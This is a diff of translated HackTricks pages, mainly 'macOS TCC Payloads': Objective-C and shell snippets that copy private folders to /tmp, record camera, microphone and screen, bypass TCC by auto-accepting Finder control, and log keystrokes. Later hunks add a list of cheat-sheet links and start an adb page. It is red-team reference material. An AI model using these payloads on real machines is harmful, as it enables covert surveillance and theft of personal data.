* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,18 +1,19 @@
|
||||||
# macOS TCC पेलोड्स
|
# macOS TCC Payloads
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
### डेस्कटॉप
|
### डेस्कटॉप
|
||||||
|
|
||||||
|
@ -21,7 +22,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="ObjetiveC" %}
|
||||||
`$HOME/Desktop` की कॉपी करें `/tmp/desktop` में।
|
कॉपी करें `$HOME/Desktop` से `/tmp/desktop`।
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -55,9 +56,8 @@ fclose(stderr); // Close the file stream
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="शैल" %}
|
{% tab title="Shell" %}
|
||||||
`$HOME/Desktop` की `/tmp/desktop` में कॉपी करें।
|
`$HOME/Desktop` को `/tmp/desktop` में कॉपी करें।
|
||||||
{% endtab %}
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Desktop" "/tmp/desktop"
|
cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||||
```
|
```
|
||||||
|
@ -71,7 +71,7 @@ cp -r "$HOME/Desktop" "/tmp/desktop"
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="ObjetiveC" %}
|
||||||
`$HOME/Documents` की कॉपी करें `/tmp/documents` में।
|
`$HOME/Documents` को `/tmp/documents` में कॉपी करें।
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -120,7 +120,7 @@ cp -r "$HOME/Documents" "/tmp/documents"
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="ObjetiveC" %}
|
||||||
`$HOME/Downloads` की `/tmp/downloads` में कॉपी करें।
|
`$HOME/Downloads` को `/tmp/downloads` में कॉपी करें।
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -154,23 +154,22 @@ fclose(stderr); // Close the file stream
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="शैल" %}
|
{% tab title="Shell" %}
|
||||||
`$HOME/Dowloads` को `/tmp/downloads` में कॉपी करें।
|
`$HOME/Dowloads` को `/tmp/downloads` में कॉपी करें।
|
||||||
{% endtab %}
|
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Downloads" "/tmp/downloads"
|
cp -r "$HOME/Downloads" "/tmp/downloads"
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
### फोटो लाइब्रेरी
|
### फ़ोटो लाइब्रेरी
|
||||||
|
|
||||||
* **अधिकार**: `com.apple.security.personal-information.photos-library`
|
* **अधिकार**: `com.apple.security.personal-information.photos-library`
|
||||||
* **TCC**: `kTCCServicePhotos`
|
* **TCC**: `kTCCServicePhotos`
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="ObjetiveC" %}
|
||||||
`$HOME/Pictures/Photos Library.photoslibrary` की प्रतिलिपि `/tmp/photos` में कॉपी करें।
|
कॉपी करें `$HOME/Pictures/Photos Library.photoslibrary` को `/tmp/photos` में।
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -205,7 +204,7 @@ fclose(stderr); // Close the file stream
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
`$HOME/Pictures/Photos Library.photoslibrary` की प्रतिलिपि `/tmp/photos` में कॉपी करें।
|
`$HOME/Pictures/Photos Library.photoslibrary` को `/tmp/photos` में कॉपी करें।
|
||||||
```bash
|
```bash
|
||||||
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||||
```
|
```
|
||||||
|
@ -219,7 +218,7 @@ cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC" %}
|
{% tab title="ObjetiveC" %}
|
||||||
`$HOME/Library/Application Support/AddressBook` की प्रतिलिपि को `/tmp/contacts` में कॉपी करें।
|
कॉपी करें `$HOME/Library/Application Support/AddressBook` को `/tmp/contacts` में।
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -268,7 +267,7 @@ cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjectiveC" %}
|
{% tab title="ObjectiveC" %}
|
||||||
`$HOME/Library/Calendars` की प्रतिलिपि को `/tmp/calendars` में कॉपी करें।
|
कॉपी करें `$HOME/Library/Calendars` को `/tmp/calendars` में।
|
||||||
```objectivec
|
```objectivec
|
||||||
#include <syslog.h>
|
#include <syslog.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -395,9 +394,8 @@ fclose(stderr); // Close the file stream
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="ObjectiveC - जांच" %}
|
{% tab title="ObjectiveC - Check" %}
|
||||||
कैमरे तक पहुंच की जांच करें।
|
जांचें कि क्या प्रोग्राम के पास कैमरे तक पहुंच है।
|
||||||
{% endtab %}
|
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -429,9 +427,8 @@ fclose(stderr); // Close the file stream
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="शैल" %}
|
{% tab title="Shell" %}
|
||||||
कैमरे के साथ एक फोटो लें
|
कैमरे से एक फोटो लें
|
||||||
{% endtab %}
|
|
||||||
```bash
|
```bash
|
||||||
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||||
```
|
```
|
||||||
|
@ -445,7 +442,7 @@ ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjetiveC - रिकॉर्ड" %}
|
{% tab title="ObjetiveC - रिकॉर्ड" %}
|
||||||
5 सेकंड की ऑडियो रिकॉर्ड करें और इसे `/tmp/recording.m4a` में स्टोर करें
|
5 सेकंड का ऑडियो रिकॉर्ड करें और इसे `/tmp/recording.m4a` में स्टोर करें
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -544,8 +541,8 @@ fclose(stderr); // Close the file stream
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="ObjectiveC - जांच" %}
|
{% tab title="ObjectiveC - Check" %}
|
||||||
मिक्रोफोन तक पहुंच की जांच करें कि क्या ऐप्लिकेशन का उपयोग है।
|
ऐप के पास माइक्रोफोन तक पहुंच है या नहीं, यह जांचें।
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -575,9 +572,8 @@ static void telegram(int argc, const char **argv) {
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="शैल" %}
|
{% tab title="Shell" %}
|
||||||
5 सेकंड की ऑडियो रिकॉर्ड करें और इसे `/tmp/recording.wav` में स्टोर करें।
|
5 सेकंड का ऑडियो रिकॉर्ड करें और इसे `/tmp/recording.wav` में स्टोर करें
|
||||||
{% endtab %}
|
|
||||||
```bash
|
```bash
|
||||||
# Check the microphones
|
# Check the microphones
|
||||||
ffmpeg -f avfoundation -list_devices true -i ""
|
ffmpeg -f avfoundation -list_devices true -i ""
|
||||||
|
@ -590,11 +586,11 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
|
||||||
### स्थान
|
### स्थान
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
किसी ऐप को स्थान प्राप्त करने के लिए, **स्थान सेवाएं** (गोपनीयता और सुरक्षा से) **सक्षम होनी चाहिए,** अगर नहीं है तो यह उसे पहुंचाने में सक्षम नहीं होगा।
|
किसी ऐप को स्थान प्राप्त करने के लिए, **स्थान सेवाएँ** (गोपनीयता और सुरक्षा से) **सक्रिय होनी चाहिए,** अन्यथा यह इसे एक्सेस नहीं कर पाएगा।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* **अधिकार**: `com.apple.security.personal-information.location`
|
* **अधिकार**: `com.apple.security.personal-information.location`
|
||||||
* **TCC**: `/var/db/locationd/clients.plist` में प्रदान किया गया है
|
* **TCC**: `/var/db/locationd/clients.plist` में दिया गया
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjectiveC" %}
|
{% tab title="ObjectiveC" %}
|
||||||
|
@ -648,8 +644,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Shell" %}
|
{% tab title="Shell" %}
|
||||||
स्थान तक पहुंचें
|
स्थान तक पहुँच प्राप्त करें
|
||||||
{% endtab %}
|
|
||||||
```
|
```
|
||||||
???
|
???
|
||||||
```
|
```
|
||||||
|
@ -663,7 +658,7 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||||
|
|
||||||
{% tabs %}
|
{% tabs %}
|
||||||
{% tab title="ObjectiveC" %}
|
{% tab title="ObjectiveC" %}
|
||||||
`/tmp/screen.mov` में मुख्य स्क्रीन को 5 सेकंड के लिए रिकॉर्ड करें
|
मुख्य स्क्रीन को 5 सेकंड के लिए `/tmp/screen.mov` में रिकॉर्ड करें
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <AVFoundation/AVFoundation.h>
|
#import <AVFoundation/AVFoundation.h>
|
||||||
|
@ -719,20 +714,24 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% टैब शीर्षक = "शैल" %}
|
{% tab title="Shell" %}
|
||||||
5 सेकंड के लिए मुख्य स्क्रीन को रिकॉर्ड करें
|
मुख्य स्क्रीन को 5 सेकंड के लिए रिकॉर्ड करें
|
||||||
|
{% endtab %}
|
||||||
```bash
|
```bash
|
||||||
screencapture -V 5 /tmp/screen.mov
|
screencapture -V 5 /tmp/screen.mov
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
### पहुंचनीयता
|
### पहुँच
|
||||||
|
|
||||||
* **अधिकार**: कोई नहीं
|
* **अधिकार**: कोई नहीं
|
||||||
* **TCC**: `kTCCServiceAccessibility`
|
* **TCC**: `kTCCServiceAccessibility`
|
||||||
|
|
||||||
फाइंडर को कंट्रोल करने के लिए TCC विशेषाधिकार का उपयोग करें और TCC को इस तरीके से अनदेखा करें।
|
TCC विशेषाधिकार का उपयोग करें ताकि Finder के नियंत्रण को स्वीकार किया जा सके, एंटर दबाकर और इस तरह TCC को बायपास किया जा सके
|
||||||
|
|
||||||
|
{% tabs %}
|
||||||
|
{% tab title="TCC स्वीकार करें" %}
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <ApplicationServices/ApplicationServices.h>
|
#import <ApplicationServices/ApplicationServices.h>
|
||||||
|
@ -786,7 +785,7 @@ return 0;
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="Keylogger" %}
|
{% tab title="Keylogger" %}
|
||||||
दबाए गए कुंजी को **`/tmp/keystrokes.txt`** में स्टोर करें।
|
दबाए गए कुंजियों को **`/tmp/keystrokes.txt`** में स्टोर करें
|
||||||
```objectivec
|
```objectivec
|
||||||
#import <Foundation/Foundation.h>
|
#import <Foundation/Foundation.h>
|
||||||
#import <ApplicationServices/ApplicationServices.h>
|
#import <ApplicationServices/ApplicationServices.h>
|
||||||
|
@ -894,19 +893,20 @@ return 0;
|
||||||
{% endtabs %}
|
{% endtabs %}
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
**पहुंचने की अनुमति एक बहुत शक्तिशाली अनुमति है**, आप इसे अन्य तरीकों में दुरुपयोग कर सकते हैं, उदाहरण के लिए आप इससे केवल उसे बुलाने की आवश्यकता न होने पर भी **कीस्ट्रोक्स हमला** कर सकते हैं।
|
**एक्सेसिबिलिटी एक बहुत शक्तिशाली अनुमति है**, आप इसे अन्य तरीकों से दुरुपयोग कर सकते हैं, उदाहरण के लिए आप **कीस्ट्रोक्स अटैक** केवल इससे कर सकते हैं बिना सिस्टम इवेंट्स को कॉल किए।
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें PRs को** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में सबमिट करके।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,13 +1,77 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
|
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
|
||||||
|
|
||||||
|
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
|
||||||
|
|
||||||
|
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
|
||||||
|
|
||||||
|
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
|
||||||
|
|
||||||
|
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
|
||||||
|
|
||||||
|
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
|
||||||
|
|
||||||
|
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
|
||||||
|
|
||||||
|
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
|
||||||
|
|
||||||
|
{% embed url="https://www.thehacker.recipes/" %}
|
||||||
|
|
||||||
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
|
||||||
|
|
||||||
|
{% embed url="https://gtfobins.github.io/" %}
|
||||||
|
|
||||||
|
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
|
||||||
|
|
||||||
|
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
|
||||||
|
|
||||||
|
{% embed url="https://hideandsec.sh/" %}
|
||||||
|
|
||||||
|
{% embed url="https://cheatsheet.haax.fr/" %}
|
||||||
|
|
||||||
|
{% embed url="https://infosecwriteups.com/" %}
|
||||||
|
|
||||||
|
{% embed url="https://www.exploit-db.com/" %}
|
||||||
|
|
||||||
|
{% embed url="https://wadcoms.github.io/" %}
|
||||||
|
|
||||||
|
{% embed url="https://lolbas-project.github.io" %}
|
||||||
|
|
||||||
|
{% embed url="https://pentestbook.six2dez.com/" %}
|
||||||
|
|
||||||
|
{% embed url="https://www.hackingarticles.in/" %}
|
||||||
|
|
||||||
|
{% embed url="https://pentestlab.blog/" %}
|
||||||
|
|
||||||
|
{% embed url="https://ippsec.rocks/" %}
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
|
|
||||||
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,19 +1,20 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
**Adb सामान्यत: में स्थित होता है:**
|
**Adb आमतौर पर स्थित होता है:**
|
||||||
```bash
|
```bash
|
||||||
#Windows
|
#Windows
|
||||||
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
||||||
|
@ -21,31 +22,31 @@ C:\Users\<username>\AppData\Local\Android\sdk\platform-tools\adb.exe
|
||||||
#MacOS
|
#MacOS
|
||||||
/Users/<username>/Library/Android/sdk/platform-tools/adb
|
/Users/<username>/Library/Android/sdk/platform-tools/adb
|
||||||
```
|
```
|
||||||
**जानकारी प्राप्त की गई है:** [**http://adbshell.com/**](http://adbshell.com)
|
**जानकारी प्राप्त की गई:** [**http://adbshell.com/**](http://adbshell.com)
|
||||||
|
|
||||||
# कनेक्शन
|
# कनेक्शन
